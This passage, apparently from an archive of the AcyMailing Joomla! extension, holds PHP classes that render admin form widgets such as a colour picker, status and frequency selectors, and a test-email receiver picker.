					$ghex = dechex($green * 0x33);
					$ghex = (strlen($ghex) < 2)?"0".$ghex:$ghex;
					$this->values[$red][] = '#'.$rhex.$ghex.$bhex;
				}
			}
		}

		$this->othervalues[] = '#000000';
		$this->othervalues[] = '#111111';
		$this->othervalues[] = '#222222';
		$this->othervalues[] = '#333333';
		$this->othervalues[] = '#444444';
		$this->othervalues[] = '#555555';
		$this->othervalues[] = '#666666';
		$this->othervalues[] = '#777777';
		$this->othervalues[] = '#888888';
		$this->othervalues[]  = '#999999';
		$this->othervalues[]  = '#AAAAAA';
		$this->othervalues[]  = '#BBBBBB';
		$this->othervalues[]  = '#CCCCCC';
		$this->othervalues[]  = '#DDDDDD';
		$this->othervalues[]  = '#EEEEEE';
		$this->othervalues[]  = '#FFFFFF';
		$this->othervalues[]  = '#FF0000';
		$this->othervalues[]  = '#00FFFF';
		$this->othervalues[]  = '#0000FF';
		$this->othervalues[]  = '#0000A0';
		$this->othervalues[]  = '#FF0080';
		$this->othervalues[]  = '#800080';
		$this->othervalues[]  = '#FFFF00';
		$this->othervalues[]  = '#00FF00';
		$this->othervalues[]  = '#FF00FF';
		$this->othervalues[]  = '#FF8040';
		$this->othervalues[]  = '#804000';
		$this->othervalues[]  = '#800000';
		$this->othervalues[]  = '#808000';
		$this->othervalues[]  = '#408080';

	}

	function displayAll($id,$map,$color){
		 $this->jsScript = 'function applyColor'.$id.'(newcolor){document.getElementById(\'color'.$id.'\').value = newcolor; document.getElementById("colordiv'.$id.'").style.display = "none";applyColorExample'.$id.'();}';

		$code = '<input type="text" name="'.$map.'" id="color'.$id.'" onchange=\'applyColorExample'.$id.'()\' class="inputbox" style="width:50px" value="'.htmlspecialchars($color,ENT_COMPAT, 'UTF-8').'" />';
		$code .= ' <input type="text" maxlength="0" style="cursor:pointer;width:50px;background-color:'.htmlspecialchars($color,ENT_COMPAT, 'UTF-8').';" onclick="if(document.getElementById(\'colordiv'.$id.'\').style.display == \'block\'){document.getElementById(\'colordiv'.$id.'\').style.display = \'none\';}else{document.getElementById(\'colordiv'.$id.'\').style.display = \'block\';}" id=\'colorexample'.$id.'\' />';
		$code .= '<div id=\'colordiv'.$id.'\' style=\'display:none;position:absolute;z-index:100;background-color:white;border:1px solid grey\'>'.$this->display($id).'</div>';
		return $code;
	}

	function displayOne($id,$map,$color){

	$this->jsScript = 'function applyColorwysijacolor(newcolor){
							 var myRegex = new RegExp(/([^a-z-])color *:[^;]*(!important)?[^;]*;/i);
							document.getElementById("name_"+currentValueId).style.color = newcolor;
							document.getElementById("colorexamplewysijacolor").style.backgroundColor = newcolor;
							spaced = document.getElementById("style_"+currentValueId).value.substr(0,1);
							if(spaced != " "){
								stringToQuery = \' \' + document.getElementById("style_"+currentValueId).value;
							}
							else{
								stringToQuery = document.getElementById("style_"+currentValueId).value;
							}
							if(stringToQuery.search(myRegex) != -1){
							if(currentValueId.search("tag_h") != -1){
								document.getElementById("style_"+currentValueId).value = stringToQuery.replace(myRegex, "$1"+"color:"+newcolor+" !important;");
							}
							else{
								document.getElementById("style_"+currentValueId).value = stringToQuery.replace(myRegex, "$1"+"color:"+newcolor+";");
							}
							}
							else{
								 if(currentValueId.search("tag_h") != -1){
								document.getElementById("style_"+currentValueId).value = "color:"+newcolor+" !important;" + document.getElementById("style_"+currentValueId).value;
							}
							else{
								document.getElementById("style_"+currentValueId).value = "color:"+newcolor+";" + document.getElementById("style_"+currentValueId).value;
							}
							}
							document.getElementById("colordivwysijacolor").style.display = "none";
							document.getElementById(\'colorexample'.$id.'\').style.backgroundColor = newcolor;
						}';
		$code = ' <input type="text" maxlength="0" style=\'width:17px;height:13px;padding:0px;margin:0px;cursor:pointer;background-color:'.$color.'\' onclick="if(document.getElementById(\'colordivwysijacolor\').style.display == \'block\'){document.getElementById(\'colordivwysijacolor\').style.display = \'none\';}else{document.getElementById(\'colordivwysijacolor\').style.display = \'block\';}" id=\'colorexamplewysijacolor\' />';
		$code .= '<div id=\'colordivwysijacolor\' style=\'display:none;width:300px;position:absolute;background-color:white;border:1px solid grey\'>'.$this->display($id).'</div>';
		return $code;
	}

	function display($id = ''){

		$js =  $this->jsScript;
		$js .= 'function applyColorExample'.$id.'(){document.getElementById(\'colorexample'.$id.'\').style.backgroundColor = document.getElementById(\'color'.$id.'\').value; document.getElementById("colordiv'.$id.'").style.display = "none";}';
		acymailing_addScript(true, $js);


		$text = '<table><tr>';
		foreach($this->othervalues as $oneColor){
			$text .= '<td style="cursor:pointer" width="10" height="10" bgcolor="'.$oneColor.'" onclick="applyColor'.$id.'(\''.$oneColor.'\')"></td>';
		}
		$text .= '</tr></table>';
		$text .= '<table>';
		foreach($this->values as $line){
			$text .= '<tr>';
			foreach($line as $oneColor){
				$text .= '<td style="cursor:pointer" width="10" height="10" bgcolor="'.$oneColor.'" onclick="applyColor'.$id.'(\''.$oneColor.'\')"></td>';
			}
			$text .= '</tr>';
		}
		$text .= '</table>';

		return $text;
	}

}
com_acymailing/types/status.php000060400000001657152455305300012726 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class statusType extends acymailingClass{
	function __construct(){
		parent::__construct();
		$this->values = array();
		$this->values[] = acymailing_selectOption('-1', acymailing_translation('UNSUBSCRIBED'));
		$this->values[] = acymailing_selectOption('0', acymailing_translation('NO_SUBSCRIPTION'));
		$this->values[] = acymailing_selectOption('2', acymailing_translation('PENDING_SUBSCRIPTION'));
		$this->values[] = acymailing_selectOption('1', acymailing_translation('SUBSCRIBED'));
	}

	function display($map,$value){
		static $i = 0;
		return acymailing_radio($this->values, $map , 'class="radiobox" size="1"', 'value', 'text', (int) $value,'status'.$i++);
	}

}
com_acymailing/types/deliverstatus.php000060400000002066152455305300014274 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class deliverstatusType extends acymailingClass{

	function __construct(){
		parent::__construct();

		$this->values = array();
		$this->values[] = acymailing_selectOption('0', acymailing_translation('ALL_STATUS'));
		$this->values[] = acymailing_selectOption('open', acymailing_translation('OPEN'));
		$this->values[] = acymailing_selectOption('notopen', acymailing_translation('NOT_OPEN'));
		$this->values[] = acymailing_selectOption('failed', acymailing_translation('FAILED'));
		if(acymailing_level(3)) $this->values[] = acymailing_selectOption('bounce', acymailing_translation('BOUNCES'));

	}

	function display($map,$value){
		return acymailing_select(  $this->values, $map, 'class="inputbox" size="1" style="width:150px;" onchange="document.adminForm.submit( );"', 'value', 'text', $value );
	}
}
com_acymailing/types/mailcreator.php000060400000002371152455305300013677 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.0.1
 * @author	acyba.com
 * @copyright	(C) 2009-2015 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

class mailcreatorType{
	var $type = 'news';
	function load(){

		$db = JFactory::getDBO();

		$db->setQuery('SELECT COUNT(*) as total,userid FROM #__acymailing_mail WHERE `type` = '.$db->Quote($this->type).' AND `userid` > 0 GROUP BY userid');
		$allusers = $db->loadObjectList('userid');

		$allnames = array();
		if(!empty($allusers)){
			$db->setQuery('SELECT name,id FROM #__users WHERE id IN ('.implode(',',array_keys($allusers)).') ORDER BY name ASC');
			$allnames = $db->loadObjectList('id');
		}

		$this->values = array();
		$this->values[] = JHTML::_('select.option', '0', JText::_('ALL_CREATORS') );
		foreach($allnames as $userid => $oneCreator){
			$this->values[] = JHTML::_('select.option', $userid, $oneCreator->name.' ( '.$allusers[$userid]->total.' )' );
		}
	}

	function display($map,$value){
		$this->load();
		return JHTML::_('select.genericlist',   $this->values, $map, 'class="inputbox" size="1" onchange="document.adminForm.submit( );"', 'value', 'text', (int) $value );
	}
}
com_acymailing/types/contentfilter.php000060400000001755152455305300014262 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class contentfilterType extends acymailingClass{
	var $onclick = 'updateTag();';
	function __construct(){
		parent::__construct();
	}

	function display($map,$value,$label = true,$modified = true){
		$prefix = $label ? '|filter:' : '';
		$this->values = array();
		$this->values[] = acymailing_selectOption("", acymailing_translation('ACY_ALL'));
		$this->values[] = acymailing_selectOption($prefix."created", acymailing_translation('ONLY_NEW_CREATED'));
		if($modified) $this->values[] = acymailing_selectOption($prefix."modify", acymailing_translation('ONLY_NEW_MODIFIED'));
		return acymailing_select($this->values, $map , 'size="1" onchange="'.$this->onclick.'" style="max-width:200px;"', 'value', 'text', (string) $value);
	}
}
com_acymailing/types/operatorsin.php000060400000001362152455305300013741 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class operatorsinType extends acymailingClass{
	var $js = '';
	function __construct(){
		parent::__construct();

		$this->values = array();

		$this->values[] = acymailing_selectOption('IN', acymailing_translation('ACY_IN'));
		$this->values[] = acymailing_selectOption('NOT IN', acymailing_translation('ACY_NOT_IN'));

	}

	function display($map){
		return acymailing_select($this->values, $map, 'class="inputbox" size="1" style="width:120px;" '.$this->js, 'value', 'text');
	}

}
com_acymailing/types/uploadpict.php000060400000001357152455305300013544 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	4.9.3
 * @author	acyba.com
 * @copyright	(C) 2009-2015 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

class uploadpictType{
	function display($map, $mapDelete, $previous){
		$result = '<input type="file" name="pictures['.$mapDelete.']" style="width:auto;"/>';
		if(!empty($previous)){
			$result .='<img src="'.ACYMAILING_LIVE.$previous.'" style="float:left;max-height:50px;margin-right:10px;" />
			<br /><input type="checkbox" name="'.$map.'" value="" id="delete'.$mapDelete.'" /> <label for="delete'.$mapDelete.'">'.JText::_('DELETE_PICT').'</label>';
		}
		return $result;
	}
}
com_acymailing/types/frequency.php000060400000022251152455305300013375 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class frequencyType extends acymailingClass{
	var $valuesEvery = array();
	var $valuesFrequency = array();
	var $valuesOnThe = array();
	var $valuesOnTheDay = array();

	var $txtDays = array();
	var $days = array();
	var $txtPos = array();

	function __construct(){
		parent::__construct();
		$this->txtDays = array(acymailing_translation('MONDAY'), acymailing_translation('TUESDAY'), acymailing_translation('WEDNESDAY'), acymailing_translation('THURSDAY'), acymailing_translation('FRIDAY'), acymailing_translation('SATURDAY'), acymailing_translation('SUNDAY'));
		$this->txtPos = array(acymailing_translation('FREQUENCY_FIRST'), acymailing_translation('FREQUENCY_SECOND'), acymailing_translation('FREQUENCY_THIRD'), acymailing_translation('FREQUENCY_LAST'));
		$this->days = array('Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday');

		$js = "function updateFrequency(){
					frequencyType = window.document.getElementById('frequencyType');
					everyFields = window.document.getElementById('everyFields');
					onTheFields = window.document.getElementById('onTheFields');
					onField = window.document.getElementById('onField');
					delayvar = window.document.getElementById('delayvar');

					if(frequencyType.value == 'asap'){
						onField.style.display='none';
						everyFields.style.display='none';
						onTheFields.style.display='none';
					}

					if(frequencyType.value == 'onthe'){
						onField.style.display='none';
						everyFields.style.display='none';
						onTheFields.style.display='inline';
					}

					if(frequencyType.value == 'on'){
						onField.style.display='inline';
						everyFields.style.display='none';
						onTheFields.style.display='none';
					}

					if(frequencyType.value == 'every'){
						onField.style.display='none';
						everyFields.style.display='inline';
						onTheFields.style.display='none';
					}
					updateDelay();
				}";

		$js .= "function updateDelay(){
					frequencyType = window.document.getElementById('frequencyType');
					delayvar = window.document.getElementById('delayvar');
					if(frequencyType.value == 'asap'){
						delayvar.value = 0;
					}

					if(frequencyType.value == 'onthe'){
						valuesOnThe = window.document.getElementById('valuesOnThe').value;
						valuesOnTheDay = window.document.getElementById('valuesOnTheDay').value;
						delayvar.value = valuesOnThe+'_'+valuesOnTheDay;
					}

					if(frequencyType.value == 'on'){
						valuesOn = window.document.getElementById('valuesOn');
						selection = [];
						for(var i = 0 ; i < valuesOn.length ; i++){
							if(valuesOn[i].selected) {
								selection.push(valuesOn[i].value);
							}
						}
						delayvar.value = 'on_'+selection.join('_');
					}

					if(frequencyType.value == 'every'){
						delaytype = window.document.getElementById('delaytype').value;
						delayvalue = window.document.getElementById('delayvalue');
						realValue = delayvalue.value;
						if(delaytype == 'minute'){realValue = realValue*60; }
						if(delaytype == 'hour'){realValue = realValue*3600; }
						if(delaytype == 'day'){realValue = realValue*86400; }
						if(delaytype == 'week'){realValue = realValue*604800; }
						if(delaytype == 'month'){realValue = realValue*2592000; }
						delayvar.value = realValue;
					}
				}";

		acymailing_addScript(true, $js);
	}

	function displayFrequency($map, $value, $type = 1){
		$styleEvery = 'style="display:none"';
		$styleOnThe = 'style="display:none"';
		$styleOn = 'style="display:none"';
		$value_array = array('first', 'Monday');
		$weekdays = array();

		if(empty($value) || (!is_numeric($value) && strpos($value, '_') === false)){
			$defaultVal = 'asap';
			$styleEvery = 'style="display:none"';
			$styleOnThe = 'style="display:none"';
			$styleOn = 'style="display:none"';
		}elseif(is_numeric($value)){
			$defaultVal = 'every';
			$styleEvery = '';
		}elseif(strpos($value, 'on_') !== false){
			$defaultVal = 'on';
			$styleOn = '';

			if(ltrim($value, 'on_') != ''){
				$values = explode('_', ltrim($value, 'on_'));
				foreach($values as $oneDay){
					$weekdays[] = acymailing_selectOption($oneDay, acymailing_translation(strtoupper($oneDay)));
				}
			}
		}else{
			$defaultVal = 'onthe';
			$styleOnThe = '';
			$value_array = explode('_', $value);
		}

		$this->valuesFrequency[] = acymailing_selectOption('asap', acymailing_translation('ACY_ASAP'));
		$this->valuesFrequency[] = acymailing_selectOption('onthe', acymailing_translation('ACY_ONTHE'));
		$this->valuesFrequency[] = acymailing_selectOption('on', acymailing_translation('ACY_ON'));
		$this->valuesFrequency[] = acymailing_selectOption('every', acymailing_translation('EVERY'));
		$returnFrequency = acymailing_select($this->valuesFrequency, 'frequencyType', 'class="inputbox" size="1" onchange="updateFrequency();" style="width:160px;vertical-align:top;"', 'value', 'text', $defaultVal);

		$this->valuesEvery[] = acymailing_selectOption('hour', acymailing_translation('HOURS'));
		$this->valuesEvery[] = acymailing_selectOption('day', acymailing_translation('DAYS'));
		$this->valuesEvery[] = acymailing_selectOption('week', acymailing_translation('WEEKS'));
		$this->valuesEvery[] = acymailing_selectOption('month', acymailing_translation('MONTHS'));
		$return = $this->get($value, $type);
		$everyValue = '<input class="inputbox" onchange="updateDelay();" type="text" id="delayvalue" style="width:50px" value="'.$return->value.'" /> ';
		$everyType = acymailing_select($this->valuesEvery, 'delaytype', 'class="inputbox" size="1" style="width:100px" onchange="updateDelay();"', 'value', 'text', $return->type, 'delaytype');
		$everyFields = '<span id="everyFields" '.$styleEvery.'>'.$everyValue.$everyType.'</span>';

		$this->valuesOnThe[] = acymailing_selectOption('first', $this->txtPos[0]);
		$this->valuesOnThe[] = acymailing_selectOption('second', $this->txtPos[1]);
		$this->valuesOnThe[] = acymailing_selectOption('third', $this->txtPos[2]);
		$this->valuesOnThe[] = acymailing_selectOption('last', $this->txtPos[3]);
		$onTheNumber = acymailing_select($this->valuesOnThe, 'valuesOnThe', 'class="inputbox" size="1" onchange="updateDelay();" style="width:80px;"', 'value', 'text', $value_array[0]);

		for($i = 0; $i < 7; $i++){
			$this->valuesOnTheDay[] = acymailing_selectOption($this->days[$i], $this->txtDays[$i]);
		}
		$onTheDay = acymailing_select($this->valuesOnTheDay, 'valuesOnTheDay', 'class="inputbox" size="1" onchange="updateDelay();" style="width:120px;"', 'value', 'text', $value_array[1]);
		$onTheFields = '<span id="onTheFields" '.$styleOnThe.'>'.$onTheNumber.$onTheDay.' '.acymailing_translation('ACY_DAYOFMONTH').'</span>';

		$delayVar = '<input type="hidden" name="'.$map.'" id="delayvar" value="'.$value.'" />';

		$onField = '<span id="onField" '.$styleOn.'>'.acymailing_select($this->valuesOnTheDay, 'valuesOn', 'class="inputbox" size="1" onchange="updateDelay();" multiple style="width:120px;height:70px;"', 'value', 'text', $weekdays).'</span>';


		return $returnFrequency.$onTheFields.$onField.$everyFields.$delayVar;
	}

	function get($value, $type){
		$return = new stdClass();

		if(!is_numeric($value)){
			$return->value = 0;
			$return->type = 'hour';
			return $return;
		}

		$return->value = $value;
		if($type == 0){
			$return->type = 'second';
		}else{
			$return->type = 'minute';
		}

		if($return->value >= 60 AND $return->value % 60 == 0){
			$return->value = (int)$return->value / 60;
			$return->type = 'minute';
			if($type != 0 AND $return->value >= 60 AND $return->value % 60 == 0){
				$return->type = 'hour';
				$return->value = $return->value / 60;
				if($type != 2 AND $return->value >= 24 AND $return->value % 24 == 0){
					$return->type = 'day';
					$return->value = $return->value / 24;
					if($type >= 3 AND $return->value >= 30 AND $return->value % 30 == 0){
						$return->type = 'month';
						$return->value = $return->value / 30;
					}elseif($return->value >= 7 AND $return->value % 7 == 0){
						$return->type = 'week';
						$return->value = $return->value / 7;
					}
				}
			}
		}
		return $return;
	}

	function display($value){
		if(is_numeric($value)){
			if($value == 0){
				return acymailing_translation('ACY_ASAP');
			}else{
				if(empty($value)) return acymailing_translation('ACY_ASAP');
				$type = 'ACY_SECONDS';
				if($value >= 60 AND $value % 60 == 0){
					$value = (int)$value / 60;
					$type = 'ACY_MINUTES';
					if($value >= 60 AND $value % 60 == 0){
						$type = 'HOURS';
						$value = $value / 60;
						if($value >= 24 AND $value % 24 == 0){
							$type = 'DAYS';
							$value = $value / 24;
							if($value >= 30 AND $value % 30 == 0){
								$type = 'MONTHS';
								$value = $value / 30;
							}elseif($value >= 7 AND $value % 7 == 0){
								$type = 'WEEKS';
								$value = $value / 7;
							}
						}
					}
				}
				return acymailing_translation('EVERY').' '.$value.' '.acymailing_translation($type);
			}
		}

		$arrayValue = explode('_', $value);
		return acymailing_translation('ACY_ONTHE').' '.$arrayValue[0].' '.$arrayValue[1].' '.acymailing_translation('ACY_DAYOFMONTH');
	}
}

?>

com_acymailing/types/content.php000060400000001712152455305300013045 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class contentType extends acymailingClass{
	var $onclick = 'updateTag();';
	function __construct(){
		parent::__construct();
		$this->values = array();
		$this->values[] = acymailing_selectOption("|type:title", acymailing_translation('TITLE_ONLY'));
		$this->values[] = acymailing_selectOption("|type:intro", acymailing_translation('INTRO_ONLY'));
		$this->values[] = acymailing_selectOption("|type:text", acymailing_translation('FIELD_TEXT'));
		$this->values[] = acymailing_selectOption("|type:full", acymailing_translation('FULL_TEXT'));
	}

	function display($map,$value){
		return acymailing_radio($this->values, $map , 'size="1" onclick="'.$this->onclick.'"', 'value', 'text', $value);
	}

}
com_acymailing/types/testreceiver.php000060400000016157152455305300014110 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class testreceiverType extends acymailingClass{
	function display($selection = '', $group = '', $emails = ''){
		if(empty($emails)) $emails = acymailing_currentUserEmail();

		$js = 'function timeoutAddNewTestAddress(currentValue){
					if(currentValue.length > 1 && ((currentValue.indexOf("@") != -1 && currentValue.slice(-1) == " ") || currentValue.slice(-1) == ";" || currentValue.slice(-1) == ",")){
						currentValue = currentValue.substring(0, currentValue.length - 1);
						setUser(currentValue);
						return;
					}
					setTimeout(function(){addNewTestAddress(currentValue);}, 500);
				}

			function addNewTestAddress(currentValue){';
		if(acymailing_isAdmin()){
			$js .= 'if(currentValue != document.getElementById("message_receivers").value) return;
					var xhr = new XMLHttpRequest();
					xhr.open("GET", "'.acymailing_prepareAjaxURL('subscriber').'&task=getSubscribersByEmail&search="+currentValue);
					xhr.onload = function(){
						document.getElementById("acymailing_divSelectReceiver").style.display = "block";
						document.getElementById("acymailing_receiversTable").innerHTML = xhr.responseText;
						receiversList = document.getElementById("acymailing_receiversTable");
						if(receiversList.getElementsByClassName("row_user").length==0) {
							document.getElementById("acymailing_divSelectReceiver").style.display = "none";
						}
					};
					xhr.send();';
		}
		$js .= '}

			var selected = new Array("'.str_replace(',', '","', $emails).'");
			function setUser(userEmail){
				userEmail = userEmail.replace(/^\s+|\s+$/gm,"");
				if(validateEmail(userEmail, "'.str_replace('"', '\\"', acymailing_translation('SEND_TEST_TO')).'") && selected.indexOf(userEmail) == -1){
					selected.push(userEmail);
					document.getElementById("usersSelected").innerHTML += "<span class=\"selectedUsers\">"+userEmail+"<span class=\"removeUser\" onclick=\"removeUser(this, \'"+userEmail+"\');\"></span></span>";
					document.getElementById("test_emails").value = selected.join(",");
				}
				document.getElementById("message_receivers").value = "";
				document.getElementById("acymailing_divSelectReceiver").style.display = "none";
			}

			function removeUser(element, userEmail){
				var toRemove = element.parentElement;
				toRemove.parentElement.removeChild(toRemove);
				var index = selected.indexOf(userEmail);
				if (index > -1) {
					selected.splice(index, 1);
				}
				document.getElementById("test_emails").value = selected.join(",");
			}

			function showOptions(selection){
				if(selection == "users"){
					document.getElementById("userSelection").style.display = "";
					document.getElementById("groupSelection").style.display = "none";
				}else{
					document.getElementById("userSelection").style.display = "none";
					document.getElementById("groupSelection").style.display = "";
				}
			}

			function myKeyPress(e, value){
				var keynum;

				if(window.event) {
				  keynum = e.keyCode;
				}else if(e.which){
				  keynum = e.which;
				}

				if(keynum == 13){
					setUser(value);
					return false;
				}

				return true;
			}';

		acymailing_addScript(true, $js);
		?>
		<style>
			.removeUser{
				width: 20px;
				background-image: url(<?php echo ACYMAILING_LIVE.'/'.ACYMAILING_MEDIA_FOLDER; ?>/images/closecross.png);
				background-size: cover;
				height: 20px;
				cursor: pointer;
				float: right;
			}

			.selectedUsers{
				background-color: #F5F5F5;
				padding-left: 5px;
				display: inline-block;
				border: solid 1px #C5C4C4;
				border-radius: 4px;
				margin-right: 3px;
				margin-top: 5px;
				line-height: 20px;
			}

			#acymailing_divSelectReceiver td{
				padding: 10px 5px;
			}

			#acymailing_divSelectReceiver{
				position: absolute;
				width: 400px;
				border: solid 1px #D3D3D3;
				z-index: 9999;
				background: white;
				box-shadow: 1px 1px 5px #D5D5DD;
			}

			#acymailing_receiversTable .row_user:hover{
				background-color: #EBEBEB;
				cursor: pointer;
			}

			.row_user{
				border-top: solid 1px #EBEBEB;
			}

			#usersSelected{
				margin-bottom: 2px;
				width: 100%;
				display: block;
			}
		</style>
		<?php
		echo acymailing_getFunctionsEmailCheck();
		if(acymailing_isAdmin()){
			$values = array();
			$values[] = acymailing_selectOption('users', acymailing_translation('ACY_SUBSCRIBER'));
			$values[] = acymailing_selectOption('group', acymailing_translation('ACY_GROUP'));
			echo acymailing_select($values, 'test_selection', 'size="1" style="margin:0;" onchange="showOptions(this.value);"', 'value', 'text', $selection);
		}else{
			echo '<input class="inputbox" type="hidden" id="test_selection" name="test_selection" value="users" />';
		}
		?>
		<div id="userSelection" style="margin-top:5px;<?php if($selection == 'group') echo 'display:none;'; ?>">
			<input onkeypress="return myKeyPress(event, this.value);" style="width:212px;margin:0;" placeholder="<?php echo acymailing_translation('EMAIL_ADDRESS'); ?>..." type="text" id="message_receivers" onkeyup="timeoutAddNewTestAddress(this.value);" class="inputbox" autocomplete="off"/>
			<span id="usersSelected">
				<?php
				$allEmails = explode(',', $emails);
				foreach($allEmails as $oneEmail){
					echo '<span class="selectedUsers">'.htmlspecialchars($oneEmail, ENT_COMPAT, 'UTF-8').'<span class="removeUser" onclick="removeUser(this, \''.htmlspecialchars($oneEmail, ENT_COMPAT, 'UTF-8').'\');"></span></span>';
				}
				?>
			</span>

			<div id="acymailing_divSelectReceiver" style="display:none; overflow-y:scroll !important;">
				<div id="acymailing_receiversTable"></div>
			</div>
			<input class="inputbox" type="hidden" id="test_emails" name="test_emails" value="<?php echo htmlspecialchars($emails, ENT_COMPAT, 'UTF-8'); ?>"/>
		</div>
		<?php
		if(acymailing_isAdmin()){
			if(ACYMAILING_J16){
				$values = acymailing_getGroups();
			}else{
				$values = acymailing_loadObjectList('SELECT ug.id, ug.parent_id, ug.name AS text, COUNT(u.'.$this->cmsUserVars->id.') AS nbusers FROM #__core_acl_aro_groups AS ug LEFT JOIN '.acymailing_table($this->cmsUserVars->table, false).' u ON ug.id = u.gid GROUP BY ug.id');
			}
			$this->cats = array();
			if(!empty($values)){
				foreach($values as $oneCat){
					$this->cats[$oneCat->parent_id][] = $oneCat;
				}
			}
			$this->catvalues = array();
			$this->catvalues[] = acymailing_selectOption(-1, '- - -');
			$this->_handleChildren();
			echo '<div id="groupSelection" style="'.($selection != 'group' ? 'display:none;' : '').'margin-top:5px;">'.acymailing_select($this->catvalues, 'test_group', 'size="1"', 'value', 'text', $group).'</div>';
		}
	}

	private function _handleChildren($parent_id = 0, $level = 0){
		if(empty($this->cats[$parent_id])) return;
		foreach($this->cats[$parent_id] as $cat){
			$addValue = acymailing_selectOption($cat->id, str_repeat(" - - ", $level).$cat->text);
			if($cat->nbusers > 10 || $cat->nbusers == 0) $addValue->disable = true;
			$this->catvalues[] = $addValue;
			$this->_handleChildren($cat->id, $level + 1);
		}
	}
}
com_acymailing/types/detailstatsbounce.php000060400000002156152455305300015113 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class detailstatsbounceType extends acymailingClass{
	function display($map, $value){
		$query = 'SELECT DISTINCT bouncerule FROM '.acymailing_table('userstats').' WHERE bouncerule IS NOT NULL';
		$bouncerules = acymailing_loadObjectList($query);
		if(empty($bouncerules)) return '';
		$valueBounce = array();
		$valueBounce[] = acymailing_selectOption(0, acymailing_translation('ALL_RULES'));
		foreach($bouncerules as $oneRule){
			$found = preg_match('#^([A-Z0-9_]*) \[#Uis', $oneRule->bouncerule, $match);
			$text = $found ? str_replace($match[1], acymailing_translation($match[1]), $oneRule->bouncerule) : $oneRule->bouncerule;
			$valueBounce[] = acymailing_selectOption($oneRule->bouncerule, $text);
		}
		return acymailing_select($valueBounce, $map, 'class="inputbox" size="1" onchange="document.adminForm.submit( );"', 'value', 'text', $value);
	}
}


com_acymailing/types/jflanguages.php000060400000005576152455305300013675 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class jflanguagesType extends acymailingClass{
	var $onclick = '';
	var $id = 'jflang';
	var $jid = 'jlang';
	var $sef = false;
	var $multilingue = false;
	var $languages;
	var $found = false;

	function __construct(){
		parent::__construct();
		$this->values = array();

		$defines = ACYMAILING_ROOT.'components'.DS.'com_joomfish'.DS.'helpers'.DS.'defines.php';
		if(file_exists($defines) && ((ACYMAILING_J16 && file_exists(ACYMAILING_ROOT.'libraries'.DS.'joomfish'.DS.'manager.php')) || (!ACYMAILING_J16 && file_exists(ACYMAILING_ROOT.'administrator'.DS.'components'.DS.'com_joomfish'.DS.'classes'.DS.'JoomfishManager.class.php')))){
			include_once($defines);
			if(!ACYMAILING_J16){
				include_once(JOOMFISH_ADMINPATH.DS.'classes'.DS.'JoomfishManager.class.php');
			}else{
				include_once(ACYMAILING_ROOT.'libraries'.DS.'joomfish'.DS.'manager.php');
			}
			$jfManager = JoomFishManager::getInstance();
			$langActive = $jfManager->getActiveLanguages();
			$this->values[] = acymailing_selectOption('', acymailing_translation('DEFAULT_LANGUAGE'));
			foreach($langActive as $oneLanguage){
				$this->values[] = acymailing_selectOption($oneLanguage->shortcode.', '.$oneLanguage->id, $oneLanguage->name);
			}
			$this->found = true;
		}

		$defines = ACYMAILING_ROOT.'components'.DS.'com_falang'.DS.'helpers'.DS.'defines.php';
		if(empty($this->values) && file_exists($defines) && include_once($defines)){
			JLoader::register('FalangManager', FALANG_ADMINPATH.'/classes/FalangManager.class.php');
			$fManager = FalangManager::getInstance();
			$langActive = $fManager->getActiveLanguages();
